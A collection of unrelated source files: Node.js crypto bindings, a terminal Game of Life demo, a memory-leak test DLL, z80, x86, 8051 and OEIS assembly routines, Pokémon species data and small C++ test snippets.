for (int i = 0; i < sk_SSL_CIPHER_num(ciphers); ++i) {
SSL_CIPHER* cipher = sk_SSL_CIPHER_value(ciphers, i);
arr->Set(i, String::New(SSL_CIPHER_get_name(cipher)));
}
SSL_free(ssl);
SSL_CTX_free(ctx);
return scope.Close(arr);
}
template <class TypeName>
static void array_push_back(const TypeName* md,
const char* from,
const char* to,
void* arg) {
Local<Array>& arr = *static_cast<Local<Array>*>(arg);
arr->Set(arr->Length(), String::New(from));
}
Handle<Value> GetCiphers(const Arguments& args) {
HandleScope scope(node_isolate);
Local<Array> arr = Array::New();
EVP_CIPHER_do_all_sorted(array_push_back<EVP_CIPHER>, &arr);
return scope.Close(arr);
}
Handle<Value> GetHashes(const Arguments& args) {
HandleScope scope(node_isolate);
Local<Array> arr = Array::New();
EVP_MD_do_all_sorted(array_push_back<EVP_MD>, &arr);
return scope.Close(arr);
}
void InitCrypto(Handle<Object> target) {
HandleScope scope(node_isolate);
SSL_library_init();
OpenSSL_add_all_algorithms();
OpenSSL_add_all_digests();
SSL_load_error_strings();
ERR_load_crypto_strings();
crypto_lock_init();
CRYPTO_set_locking_callback(crypto_lock_cb);
CRYPTO_THREADID_set_callback(crypto_threadid_cb);
// Turn off compression. Saves memory - do it in userland.
#if !defined(OPENSSL_NO_COMP)
STACK_OF(SSL_COMP)* comp_methods =
#if OPENSSL_VERSION_NUMBER < 0x00908000L
SSL_COMP_get_compression_method()
#else
SSL_COMP_get_compression_methods()
#endif
;
sk_SSL_COMP_zero(comp_methods);
assert(sk_SSL_COMP_num(comp_methods) == 0);
#endif
SecureContext::Initialize(target);
Connection::Initialize(target);
CipherBase::Initialize(target);
DiffieHellman::Initialize(target);
Hmac::Initialize(target);
Hash::Initialize(target);
Sign::Initialize(target);
Verify::Initialize(target);
NODE_SET_METHOD(target, "PBKDF2", PBKDF2);
NODE_SET_METHOD(target, "randomBytes", RandomBytes<false>);
NODE_SET_METHOD(target, "pseudoRandomBytes", RandomBytes<true>);
NODE_SET_METHOD(target, "getSSLCiphers", GetSSLCiphers);
NODE_SET_METHOD(target, "getCiphers", GetCiphers);
NODE_SET_METHOD(target, "getHashes", GetHashes);
subject_symbol = NODE_PSYMBOL("subject");
issuer_symbol = NODE_PSYMBOL("issuer");
valid_from_symbol = NODE_PSYMBOL("valid_from");
valid_to_symbol = NODE_PSYMBOL("valid_to");
subjectaltname_symbol = NODE_PSYMBOL("subjectaltname");
modulus_symbol = NODE_PSYMBOL("modulus");
exponent_symbol = NODE_PSYMBOL("exponent");
fingerprint_symbol = NODE_PSYMBOL("fingerprint");
name_symbol = NODE_PSYMBOL("name");
version_symbol = NODE_PSYMBOL("version");
ext_key_usage_symbol = NODE_PSYMBOL("ext_key_usage");
}
} // namespace crypto
} // namespace node
NODE_MODULE(node_crypto, node::crypto::InitCrypto)
|
#include "gol_demo.hpp"
#include <chrono>
#include <cstdint>
#include <string>
#include <termox/widget/focus_policy.hpp>
#include <termox/widget/layouts/horizontal.hpp>
#include <termox/widget/widgets/accordion.hpp>
#include "patterns.hpp"
namespace gol {
GoL_demo::GoL_demo()
{
this->focus_policy = ox::Focus_policy::Direct;
side_panel_accordion.expand();
side_panel.settings.rule_change.connect(
[this](std::string const& rule_str) {
gol_display.set_rules(rule_str);
});
gol_display.rule_changed.connect(
[this](Rule r) { side_panel.settings.rule_edit.set_rule(r); });
side_panel.settings.interval_set.connect(
[this](std::chrono::milliseconds period) {
gol_display.set_period(period);
});
side_panel.settings.grid_toggled.connect(
[this]() { gol_display.toggle_grid(); });
side_panel.settings.hi_res_toggled.connect(
[this]() { gol_display.toggle_hi_res(); });
side_panel.settings.rainbow_toggle.connect(
[this]() { gol_display.toggle_rainbow(); });
side_panel.settings.clear_request.connect(
[this]() { gol_display.clear(); });
side_panel.settings.step_request.connect([this]() { gol_display.step(); });
side_panel.settings.start_pause_btns.start_requested.connect(
[this]() { gol_display.start(); });
side_panel.settings.start_pause_btns.pause_requested.connect(
[this]() { gol_display.pause(); });
side_panel.files.import_request.connect(
[this](const std::string& filename) {
gol_display.import_file(filename);
});
side_panel.files.export_request.connect(
[this](const std::string& filename) {
gol_display.export_to_file(filename);
});
gol_display.offset_changed.connect([this](Coordinate c) {
side_panel.status.center_offset.x_coords.set_value(c.x);
side_panel.status.center_offset.y_coords.set_value(c.y);
});
side_panel.status.center_offset.x_coords.value_set.connect([this](int x) {
gol_display.set_offset({x, gol_display.offset().y});
});
side_panel.status.center_offset.y_coords.value_set.connect([this](int y) {
gol_display.set_offset({gol_display.offset().x, y});
});
gol_display.generation_count_changed.connect([this](std::uint32_t count) {
side_panel.status.gen_count.update_count(count);
});
auto& patterns = side_panel.patterns_rulesets.patterns;
patterns.selection_made.connect([this](std::wstring const& name) {
gol_display.import_pattern(pattern_store_.get(name));
});
this->add_pattern_example(L"Tetrominos", pattern::tetrominos);
this->add_pattern_example(L"R-pentomino", pattern::r_pentomino);
this->add_pattern_example(L"B-heptomino", pattern::b_heptomino);
this->add_pattern_example(L"C-heptomino", pattern::c_heptomino);
this->add_pattern_example(L"E-heptomino", pattern::e_heptomino);
this->add_pattern_example(L"F-heptomino", pattern::f_heptomino);
this->add_pattern_example(L"Pi-heptomino", pattern::pi_heptomino);
this->add_pattern_example(L"Century", pattern::century);
this->add_pattern_example(L"StairStep Hexomino",
pattern::stairstep_hexomino);
this->add_pattern_example(L"Z-hexomino", pattern::z_hexomino);
this->add_pattern_example(L"Kok's Galaxy", pattern::koks_galaxy);
this->add_pattern_example(L"Achim's p144", pattern::achims_p144);
this->add_pattern_example(L"Achim's p11", pattern::achims_p11);
this->add_pattern_example(L"Achim's Other p16", pattern::achims_other_p16);
this->add_pattern_example(L"Gabriels p138", pattern::gabriels_p138);
this->add_pattern_example(L"Smiley", pattern::smiley);
this->add_pattern_example(L"Twin Bees Shuttle", pattern::twin_bees_shuttle);
this->add_pattern_example(L"Loafer", pattern::loafer);
this->add_pattern_example(L"Queen Bee Shuttle", pattern::queen_bee_shuttle);
this->add_pattern_example(L"Breeder1", pattern::breeder1);
this->add_pattern_example(L"Halfmax", pattern::halfmax);
this->add_pattern_example(L"Sir Robin", pattern::sir_robin);
this->add_pattern_example(L"David Hilbert", pattern::david_hilbert);
this->add_pattern_example(L"Spider", pattern::spider);
this->add_pattern_example(L"Scholar", pattern::scholar);
this->add_pattern_example(L"Snark Variant", pattern::snark_variant);
this->add_pattern_example(L"Two Engine Cordership Seed",
pattern::two_engine_cordership_seed);
this->add_pattern_example(L"Gosper Glyder Gun", pattern::gosper_glyder_gun);
this->add_pattern_example(L"Bi-Gun", pattern::bi_gun);
this->add_pattern_example(L"CopperHead", pattern::copperhead);
this->add_pattern_example(L"Three Engine Cordership Rake",
pattern::three_engine_cordership_rake);
this->add_pattern_example(L"Merzenich's p31", pattern::merzenichs_p31);
this->add_pattern_example(L"Lobster", pattern::lobster);
this->add_pattern_example(L"37P4H1V0", pattern::three7P4H1V0);
this->add_pattern_example(L"Swan Tagalong", pattern::swan_tagalong);
this->add_pattern_example(L"P50 Traffic Jam", pattern::p50_traffic_jam);
this->add_pattern_example(L"Quad Fuse", pattern::quad_fuse);
this->add_pattern_example(
L"xp4_y19hggggh9z3w1u042w240u1w3z6w43g9a88a9g34w6zy144y044",
pattern::xp4_y19hggggh9z3w1u042w240u1w3z6w43g9a88a9g34w6zy144y044);
this->add_pattern_example(L"xq8_y1842ve4z8sqp821zw1",
pattern::xq8_y1842ve4z8sqp821zw1);
this->add_pattern_example(
L"xp4_63p4ky2k4p36zy1ci11iczog68aw11wa86goz011y611",
pattern::xp4_63p4ky2k4p36zy1ci11iczog68aw11wa86goz011y611);
auto& rules = side_panel.patterns_rulesets.rulesets;
rules.selection_made.connect([this](std::wstring const& name) {
gol_display.set_rules(rule_store_.get(name));
});
this->add_rule_example(L"Replicator", "B1357/S1357");
this->add_rule_example(L"Fredkin", "B1357/S02468");
this->add_rule_example(L"Seeds", "B2/S");
this->add_rule_example(L"Live Free or Die", "B2/S0");
this->add_rule_example(L"Life Without Death", "B3/S012345678");
this->add_rule_example(L"Flock", "B3/S12");
this->add_rule_example(L"Mazectric", "B3/S1234");
this->add_rule_example(L"Maze", "B3/S12345");
this->add_rule_example(L"Conway's Game of Life", "B3/S23");
this->add_rule_example(L"EightLife", "B3/S238");
this->add_rule_example(L"Coral", "B3/S45678");
this->add_rule_example(L"2x2", "B36/S125");
this->add_rule_example(L"HighLife", "B36/S23");
this->add_rule_example(L"Move", "B368/S245");
this->add_rule_example(L"Day & Night", "B3678/S34678");
this->add_rule_example(L"DryLife", "B37/S23");
this->add_rule_example(L"Pedestrian Life", "B38/S23");
this->add_rule_example(L"AntiLife", "B0123478/S01234678");
this->add_rule_example(L"InverseLife", "B012345678/S34678");
this->add_rule_example(L"H-Trees", "B1/S012345678");
this->add_rule_example(L"Gnarl", "B1/S1");
this->add_rule_example(L"Serviettes", "B234/S");
this->add_rule_example(L"Iceballs", "B25678/S5678");
this->add_rule_example(L"DotLife", "B3/S023");
this->add_rule_example(L"SnowLife", "B3/S1237");
this->add_rule_example(L"Corrosion of Conformity", "B3/S124");
this->add_rule_example(L"LowLife", "B3/S13");
this->add_rule_example(L"B3/S2", "B3/S2");
this->add_rule_example(L"3-4 Life", "B34/S34");
this->add_rule_example(L"Bacteria", "B34/S456");
this->add_rule_example(L"Blinkers", "B345/S2");
this->add_rule_example(L"Assimilation", "B345/S4567");
this->add_rule_example(L"Long Life", "B345/S5");
this->add_rule_example(L"Gems", "B3457/S4568");
this->add_rule_example(L"Gems Minor", "B34578/S456");
this->add_rule_example(L"Land Rush", "B35/S234578");
this->add_rule_example(L"Bugs", "B3567/S15678");
this->add_rule_example(L"Holstein", "B35678/S4678");
this->add_rule_example(L"Diamoeba", "B35678/S5678");
this->add_rule_example(L"Amoeba", "B357/S1358");
this->add_rule_example(L"Pseudo Life", "B357/S238");
this->add_rule_example(L"Blinker Life", "B36/S235");
this->add_rule_example(L"Slow Blob", "B367/S125678");
this->add_rule_example(L"Stains", "B3678/S235678");
this->add_rule_example(L"LowDeath", "B368/S238");
this->add_rule_example(L"Mazectric w/Mice", "B37/S1234");
this->add_rule_example(L"Maze W/Mice", "B37/S12345");
this->add_rule_example(L"Plow World", "B378/S012345678");
this->add_rule_example(L"Coagulations", "B378/S235678");
this->add_rule_example(L"HoneyLife", "B38/S238");
this->add_rule_example(L"Electrified Maze", "B45/S12345");
this->add_rule_example(L"Walled Cities", "B45678/S2345");
this->add_rule_example(L"Vote 4/5", "B4678/S35678");
this->add_rule_example(L"Vote", "B5678/S45678");
this->add_rule_example(L"Star Trek", "B3/S0248");
}
} // namespace gol
|
// Copyright 2018 marcusolini@outlook.com
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// LeakLib.cpp : Defines the exported functions for the DLL application.
//
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include "targetver.h"
#include <windows.h>
#endif // _WIN32
#include "LeakLib.h"
#include "../../Error_Checks/ERROR_CHECKS.H"
#include <malloc.h>
#include <new>
#include <string>
#include <thread>
#include <cerrno>
#include <cstddef>
#include <cstdlib>
/*static*/ long CALL CLeakLib::LeakNewMemory(const std::size_t numberOfCalls, const std::size_t bytesEachCall)
{
long nStatus = 0;
char* pChars = nullptr;
try
{
for (std::size_t nCalls = 0; (nCalls < numberOfCalls) && (0 == nStatus); nCalls++)
{
CHECK_NEW_ALLOC_LOG_THROW(pChars = new (std::nothrow) char[bytesEachCall]);
//std::this_thread::sleep_for(std::chrono::milliseconds{ 2 });
}
}
catch (long& check_catch_lresult)
{
nStatus = check_catch_lresult;
}
catch (std::bad_alloc)
{
nStatus = ENOMEM;
}
catch (...)
{
nStatus = ENOMEM;
}
return nStatus;
}
/*static*/ long CALL CLeakLib::LeakMallocMemory(const std::size_t numberOfCalls, const std::size_t bytesEachCall)
{
long nStatus = 0;
void* pVoid = nullptr;
try
{
for (std::size_t nCalls = 0; (nCalls < numberOfCalls) && (0 == nStatus); nCalls++)
{
CHECK_NEW_ALLOC_LOG_THROW(pVoid = malloc(bytesEachCall));
//std::this_thread::sleep_for(std::chrono::milliseconds{ 3 });
}
}
catch (long& check_catch_lresult)
{
nStatus = check_catch_lresult;
}
catch (std::bad_alloc)
{
nStatus = ENOMEM;
}
catch (...)
{
nStatus = ENOMEM;
}
return nStatus;
}
/*static*/ long CALL CLeakLib::LeakCallocMemory(const std::size_t numberOfCalls, const std::size_t bytesEachCall)
{
long nStatus = 0;
void* pVoid = nullptr;
try
{
for (std::size_t nCalls = 0; (nCalls < numberOfCalls) && (0 == nStatus); nCalls++)
{
CHECK_NEW_ALLOC_LOG_THROW(pVoid = calloc(1, bytesEachCall));
//std::this_thread::sleep_for(std::chrono::milliseconds{ 5 });
}
}
catch (long& check_catch_lresult)
{
nStatus = check_catch_lresult;
}
catch (std::bad_alloc)
{
nStatus = ENOMEM;
}
catch (...)
{
nStatus = ENOMEM;
}
return nStatus;
}
/*static*/ long CALL CLeakLib::LeakHandle(const std::size_t numberOfCalls)
{
#ifndef _WIN32
long nStatus = ENOMEM;
#else
long nStatus = 0;
HANDLE hMutex = INVALID_HANDLE_VALUE;
try
{
for (std::size_t nCalls = 0; (nCalls < numberOfCalls) && (0 == nStatus); nCalls++)
{
std::wstring sMutexName = L"Local\\LeakedMutex" + nCalls;
hMutex = CreateMutex(nullptr, true, sMutexName.c_str());
if (INVALID_HANDLE_VALUE == hMutex) nStatus = ENOMEM;
//std::this_thread::sleep_for(std::chrono::milliseconds{ 7 });
}
}
catch (long& check_catch_lresult)
{
nStatus = check_catch_lresult;
}
catch (std::bad_alloc)
{
nStatus = ENOMEM;
}
catch (...)
{
nStatus = ENOMEM;
}
#endif // _WIN32
return nStatus;
}
|
;
; Copyright (c) 2015 Digi International Inc.
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, 2019 April
; adapted for z80, z180, and z80n
;
;-------------------------------------------------------------------------
; m32_fsadd - z80, z180, z80n floating point add
; m32_fssub - z80, z180, z80n floating point subtract
;-------------------------------------------------------------------------
;
; 1) first section: unpack from F_add: to sort:
; one unpacked number in hldebc the other in hl'de'bc'
; unpacked format: h==0; mantissa= lde, sign in b, exponent in c
; in addition af' holds b xor b' used to test if add or sub needed
;
; 2) second section: sort from sort to align, sets up smaller number in hldebc and larger in hl'de'bc'
; This section sorts out the special cases:
; to alignzero - if no alignment (right) shift needed
; alignzero has properties: up to 23 normalize shifts needed if signs differ
; not know which mantissa is larger for different signs until sub performed
; no alignment shifts needed
; to alignone - if one alignment shift needed
; alignone has properties: up to 23 normalize shifts needed if signs differ
; mantissa aligned is always smaller than other mantissa
; one alignment shift needed
; to align - 2 to 23 alignment shifts needed
; numbers aligned 2-23 have properties: max of 1 normalize shift needed
; mantissa aligned always smaller
; 2-23 alignment shifts needed
; number too small to add, return larger number (to doadd1)
;
; 3) third section alignment - aligns smaller number mantissa with larger mantissa
; This section does the right shift. Lost bits shifted off, are tested. Up to 8 lost bits
; are used for the test. If any are non-zero a one is or'ed into remaining mantissa bit 0.
; align 2-23 - worst case right shift by 7 with lost bits
;
; 4) 4th section add or subtract
;
; 5) 5th section normalize in separate file d32_fsnormalize.asm
;
; 6) 6th section pack up in separate file d32_fsnormalize.asm
;
;-------------------------------------------------------------------------
; FIXME clocks
;-------------------------------------------------------------------------
SECTION code_clib
SECTION code_fp_math32
EXTERN m32_fsnormalize
PUBLIC m32_fssub, m32_fssub_callee
PUBLIC m32_fsadd, m32_fsadd_callee
; enter here for floating subtract, x-y x on stack, y in dehl
.m32_fssub
ld a,d ; toggle the sign bit for subtraction
xor 080h
ld d,a
; enter here for floating add, x+y, x on stack, y in bcde, result in bcde
.m32_fsadd
ex de,hl ; DEHL -> HLDE
ld b,h ; place op1.s in b[7]
add hl,hl ; unpack op1
ld c,h ; save op1.e in c
ld a,h
or a
jr Z,faunp1 ; add implicit bit if op1.e!=0
scf
.faunp1
rr l ; rotate in op1.m's implicit bit
ld a,b ; place op1.s in a[7]
exx
ld hl,002h ; get second operand off of the stack
add hl,sp
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld c,(hl)
inc hl
ld h,(hl)
ld l,c ; hlde = seeeeeee emmmmmmm mmmmmmmm mmmmmmmm
jp farejoin
; enter here for floating subtract callee, x-y x on stack, y in dehl
.m32_fssub_callee
ld a,d ; toggle the sign bit for subtraction
xor 080h
ld d,a
; enter here for floating add callee, x+y, x on stack, y in bcde, result in bcde
.m32_fsadd_callee
ex de,hl ; DEHL -> HLDE
ld b,h ; place op1.s in b[7]
add hl,hl ; unpack op1
ld c,h ; save op1.e in c
ld a,h
or a
jr Z,faunp1_callee ; add implicit bit if op1.e!=0
scf
.faunp1_callee
rr l ; rotate in op1.m's implicit bit
ld a,b ; place op1.s in a[7]
exx
pop bc ; pop return address
pop de ; get second operand off of the stack
pop hl ; hlde = seeeeeee emmmmmmm mmmmmmmm mmmmmmmm
push bc ; return address on stack
.farejoin
ld b,h ; save op2.s in b[7]
add hl,hl ; unpack op2
ld c,h ; save op2.e in c
xor b ; check if op1.s==op2.s
ex af,af ; save results sign in f' (C clear in af')
ld a,h
or a
jr Z,faunp2 ; add implicit bit if op2.e!=0
scf
.faunp2
rr l ; rotate in op2.m's implicit bit
xor a
ld h,a ; op2 mantissa: h = 00000000, lde = 1mmmmmmm mmmmmmmm mmmmmmmm
exx
ld h,a ; op1 mantissa: h = 00000000, lde = 1mmmmmmm mmmmmmmm mmmmmmmm
; sort larger from smaller and compute exponent difference
ld a,c
exx
cp a,c ; nc if a>=c
jp Z,alignzero ; no alignment needed, mantissas equal
jr NC,sort ; if a larger than c
ld a,c
exx
.sort
sub a,c ; positive difference in a
cp a,1 ; if one difference, special case
jp Z,alignone ; smaller mantissa on top
cp a,24 ; check for too many shifts
jr C,align ; if 23 or fewer shifts
; use other side, adding small quantity that can be ignored
exx
jp doadd1 ; pack result
; align begin align count zero
.align
srl a ; clear carry flag
jr NC,al_2
srl h
rr l
rr d
rr e
.al_2
rra ; 1st lost bit to a
jr NC,al_3
srl h
rr l
rr d
rr e
rr h
rr l
rr d
rr e
.al_3
rra ; 2nd lost bit to a
jr NC,al_4
srl h
rr l
rr d
rr e
rr h
rr l
rr d
rr e
rr h
rr l
rr d
rr e
rr h
rr l
rr d
rr e
; check for 8 bit right shift
.al_4
rra ; 3rd lost bit to a check shift by 8,
jr NC,al_5
; shift by 8 right, no 16 possible
ld a,e ; lost bits, keep only 8
or a ; test lost bits
ld e,d
ld d,l
ld hl,0 ; upper zero
jr Z,aldone
set 0,e ; lost bits
jr aldone
; here possible 16
.al_5
rra ; shift in a zero, lost bits in 6,5,4
jr NC,al_6 ; no shift by 16
; here shift by 16
; toss lost bits in a which are remote for 16 shift
; consider only lost bits in d and h
ld a,d ; lost bits
or a,h ; test lost bits
ld e,l
ld d,0
ld h,d ; hl zero
ld l,d
jr Z,aldone
set 0,e ; lost bits
jr aldone
; here no 8 or 16 shift, lost bits in a-reg bits 6,5,4, other bits zero's
.al_6
or a,h ; test lost bits
ld h,0
jr Z,aldone
set 0,e
; aldone here
.aldone
ex af,af ; carry clear
jp P,doadd
; here for subtract, smaller shifted right at least 2, so no more than
; one step of normalize
push hl
exx
ex de,hl
ex (sp),hl
ex de,hl
exx
pop hl ; subtract the mantissas
sbc hl,de
exx
sbc hl,de
push de
exx
ex (sp),hl
exx
pop de
; difference larger-smaller in hlde
; exponent of result in c sign of result in b
bit 7,l ; check for norm
jr NZ,doadd1 ; no normalize step, pack it up
sla e
rl d
adc hl,hl
dec c
jr doadd1 ; pack
; here for do add c has exponent of result (larger) b or b' has sign
.doadd
push hl
exx
ex de,hl
ex (sp),hl
ex de,hl
exx
pop hl ; add the mantissas
add hl,de
exx
adc hl,de
push de
exx
ex (sp),hl
exx
pop de ; get least of sum
xor a
or a,h ; see if overflow to h
jr Z,doadd1
rr h
rr l
rr d
rr e
jr NC,doadd0
set 0,e
.doadd0
inc c
jr Z,foverflow
.doadd1
; now pack result
add hl,hl
ld h,c ; exp
rl b
rr h
rr l
ex de,hl ; return DEHL
ret
.foverflow
ld a,b
and 080h
or 07fh
ld d,a
ld e,0ffh
ld hl,0ffffh ; max number
scf ; error
ret
; here one alignment needed
.alignone ; from fadd
srl h
rr l
rr d
rr e
jr NC,alignone_a
set 0,e
.alignone_a
ex af,af
jp M,fasub
jr doadd
.alignzero
ex af,af
jp P,doadd
; here do subtract
; enter with aligned, smaller in hlde, exp of result in c'
; sign of result in b'
; larger number in hl'de'
; c is clear
.fasub
push hl
exx
ex de,hl
ex (sp),hl
ex de,hl
exx
pop hl ; subtract the mantissas
sbc hl,de
exx
sbc hl,de
jr NC,noneg ; *** what if zero
; fix up and subtract in reverse direction
exx
ld a,b ; get reversed sign
add hl,de ; reverse sub
exx
adc hl,de ; reverse sub
exx
ex de,hl
or a
sbc hl,de
exx
ex de,hl
sbc hl,de
ld b,a ; get proper sign to result
.noneg
push de
exx
ex (sp),hl
exx
pop de ; get least part of result
; sub zero alignment from fadd
; difference larger-smaller in hlde
; exponent of result in c sign of result in b
; now do normalize
scf
ex af,af ; if no C an alternate exit is taken
jp m32_fsnormalize ; now begin to normalize
|
; A115125: A sequence related to Catalan numbers A000108.
; 1,2,4,16,80,448,2688,16896,109824,732160,4978688,34398208,240787456,1704034304,12171673600,87636049920,635361361920,4634400522240,33985603829760,250420238745600,1853109766717440,13765958267043840,102618961627054080,767411365211013120,5755585239082598400,43282000997901139968,326279699830331670528,2465224398718061510656,18665270447436751437824,141598603394347769528320,1076149385797043048415232,8192621130583940626644992,62468736120702547278168064,477033984921728542851465216
seq $0,52701 ; a(0) = 0; for n >= 1, a(n) = 2^(n-1)*C(n-1), where C(n) = A000108(n) Catalan numbers, n>0.
add $1,$0
mul $1,2
trn $1,1
add $1,1
mov $0,$1
|
db DEX_YANMEGA ; pokedex id
db 86 ; base hp
db 76 ; base attack
db 86 ; base defense
db 95 ; base speed
db 86 ; base special
db BUG ; species type 1
db DRAGON ; species type 2
db 46 ; catch rate
db 160 ; base exp yield
INCBIN "pic/ymon/yanmega.pic",0,1 ; 77, sprite dimensions
dw YanmegaPicFront
dw YanmegaPicBack
; attacks known at lvl 0
db TACKLE
db DRAGONBREATH
db 0
db 0
db 0 ; growth rate
; learnset
tmlearn 2,4,6
tmlearn 9,10,15,16
tmlearn 20,21,22
tmlearn 29,30,31,32
tmlearn 33,34,39
tmlearn 44,46
tmlearn 50,52,55
db BANK(YanmegaPicFront)
|
;*****************************************************************************
;* cabac-a.asm: x86 cabac
;*****************************************************************************
;* Copyright (C) 2008-2012 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Jason Garrett-Glaser <darkshikari@gmail.com>
;* Holger Lubitz <holger@lubitz.org>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at licensing@x264.com.
;*****************************************************************************
%include "x86inc.asm"
SECTION .text
cextern cabac_range_lps
cextern cabac_transition
cextern cabac_renorm_shift
; t3 must be ecx, since it's used for shift.
%if WIN64
DECLARE_REG_TMP 3,1,2,0,6,5,4,2
%define pointer resq
%elif ARCH_X86_64
DECLARE_REG_TMP 0,1,2,3,4,5,6,6
%define pointer resq
%else
DECLARE_REG_TMP 0,4,2,1,3,5,6,2
%define pointer resd
%endif
struc cb
.low: resd 1
.range: resd 1
.queue: resd 1
.bytes_outstanding: resd 1
.start: pointer 1
.p: pointer 1
.end: pointer 1
align 16, resb 1
.bits_encoded: resd 1
.state: resb 1024
endstruc
%macro LOAD_GLOBAL 4
%ifdef PIC
; this would be faster if the arrays were declared in asm, so that I didn't have to duplicate the lea
lea r7, [%2]
%ifnidn %3, 0
add r7, %3
%endif
movzx %1, byte [r7+%4]
%else
movzx %1, byte [%2+%3+%4]
%endif
%endmacro
cglobal cabac_encode_decision_asm, 0,7
movifnidn t0, r0mp
movifnidn t1d, r1m
mov t5d, [t0+cb.range]
movzx t6d, byte [t0+cb.state+t1]
mov t4d, ~1
mov t3d, t5d
and t4d, t6d
shr t5d, 6
movifnidn t2d, r2m
%if WIN64
PUSH r7
%endif
LOAD_GLOBAL t5d, cabac_range_lps-4, t5, t4*2
LOAD_GLOBAL t4d, cabac_transition, t2, t6*2
and t6d, 1
sub t3d, t5d
cmp t6d, t2d
mov t6d, [t0+cb.low]
lea t2, [t6+t3]
cmovne t3d, t5d
cmovne t6d, t2d
mov [t0+cb.state+t1], t4b
;cabac_encode_renorm
mov t4d, t3d
shr t3d, 3
LOAD_GLOBAL t3d, cabac_renorm_shift, 0, t3
%if WIN64
POP r7
%endif
shl t4d, t3b
shl t6d, t3b
mov [t0+cb.range], t4d
add t3d, [t0+cb.queue]
jge cabac_putbyte
.update_queue_low:
mov [t0+cb.low], t6d
mov [t0+cb.queue], t3d
RET
cglobal cabac_encode_bypass_asm, 0,3
movifnidn t0, r0mp
movifnidn t3d, r1m
mov t7d, [t0+cb.low]
and t3d, [t0+cb.range]
lea t7d, [t7*2+t3]
mov t3d, [t0+cb.queue]
inc t3d
%if UNIX64 ; .putbyte compiles to nothing but a jmp
jge cabac_putbyte
%else
jge .putbyte
%endif
mov [t0+cb.low], t7d
mov [t0+cb.queue], t3d
RET
.putbyte:
PROLOGUE 0,7
movifnidn t6d, t7d
jmp cabac_putbyte
cglobal cabac_encode_terminal_asm, 0,3
movifnidn t0, r0mp
sub dword [t0+cb.range], 2
; shortcut: the renormalization shift in terminal
; can only be 0 or 1 and is zero over 99% of the time.
test dword [t0+cb.range], 0x100
je .renorm
REP_RET
.renorm:
shl dword [t0+cb.low], 1
shl dword [t0+cb.range], 1
inc dword [t0+cb.queue]
jge .putbyte
REP_RET
.putbyte:
PROLOGUE 0,7
mov t3d, [t0+cb.queue]
mov t6d, [t0+cb.low]
cabac_putbyte:
; alive: t0=cb t3=queue t6=low
%if WIN64
DECLARE_REG_TMP 3,6,1,0,2,5,4
%endif
mov t1d, -1
add t3d, 10
mov t2d, t6d
shl t1d, t3b
shr t2d, t3b ; out
not t1d
sub t3d, 18
and t6d, t1d
mov t5d, [t0+cb.bytes_outstanding]
cmp t2b, 0xff ; FIXME is a 32bit op faster?
jz .postpone
mov t1, [t0+cb.p]
add [t1-1], t2h
dec t2h
.loop_outstanding:
mov [t1], t2h
inc t1
dec t5d
jge .loop_outstanding
mov [t1-1], t2b
mov [t0+cb.p], t1
.postpone:
inc t5d
mov [t0+cb.bytes_outstanding], t5d
jmp mangle(x264_cabac_encode_decision_asm.update_queue_low)
|
LJMP START
ORG 100H
START:
MOV A, #0
CALL WAIT_KEY ; 'lewa' cyfra
MOV B, #10
MUL AB
;przenieś zawartość do R3
MOV R3, A
; pobierz prawą cyfrę
CALL WAIT_KEY
ADD A, R3
MOV R2, A
CALL LCD_CLR
MOV A, R2
MOV R5, A
MOV A, #0
CALL WAIT_KEY ; 'lewa' cyfra
;przenieś zawartość do R3
MOV R3, A
; pobierz prawą cyfrę
CALL WAIT_KEY
;przenieś zawartość do R3
MOV R2, A
MOV A, R3
MNOZ:
ADD A, R3
DEC R2
CJNE R2, #0, MNOZ
SUBB A, R3
MOV R2, A
CALL LCD_CLR
MOV A, R2
;ADD A, R5
CALL HTB
CALL WRITE_HEX
KLAWISZ:
SJMP KLAWISZ
HTB:
MOV R0,#00h
MOV R1,#00h
CJNE A,#00h,CALC_HTB
RET
CALC_HTB:
MOV B,#100 ; dzielenie przez 100
DIV AB
MOV R0,A ; zapisz Akumulator do R0
MOV A,B
MOV B,#10 ; podziel przez 10
DIV AB
SWAP A
MOV R1,A ; zapisz dziesiątki do R1
MOV A,B
ORL A,R1
MOV R1,A ;zapisz jedności do R1
RET
NUM_1:
RET |
// testing two instantiations of class template with same integer
// arguments
template<int I> struct A {
};
A<2> a2;
A<2> a2a;
A<3> a3;
|
; A171543: Decimal expansion of 2/sqrt(35).
; Submitted by Jamie Morken(s1)
; 3,3,8,0,6,1,7,0,1,8,9,1,4,0,6,6,3,1,0,0,3,8,4,7,3,3,0,9,4,6,3,7,8,1,1,7,0,5,2,3,1,4,3,5,6,0,4,5,3,9,0,8,7,5,5,9,3,1,2,6,8,3,8,2,3,6,7,3,2,7,1,1,9,4,8,8,9,4,4,5,9,2,4,3,7,5,7,2,8,7,2,6,7,6,0,6,2,3,8,7
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
mul $2,$3
add $1,$2
cmp $6,0
add $5,$6
div $1,$5
div $2,$5
add $2,$1
sub $1,$2
mul $1,2
mul $2,7
sub $3,2
lpe
mul $1,4
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
add $0,9
mod $0,10
|
; void tm_from_dostm(struct tm *,struct dos_tm *)
SECTION code_time
PUBLIC _tm_from_dostm
EXTERN asm_tm_from_dostm
_tm_from_dostm:
pop af
pop de
pop hl
push hl
push de
push af
jp asm_tm_from_dostm
|
; A017528: (12n)^8.
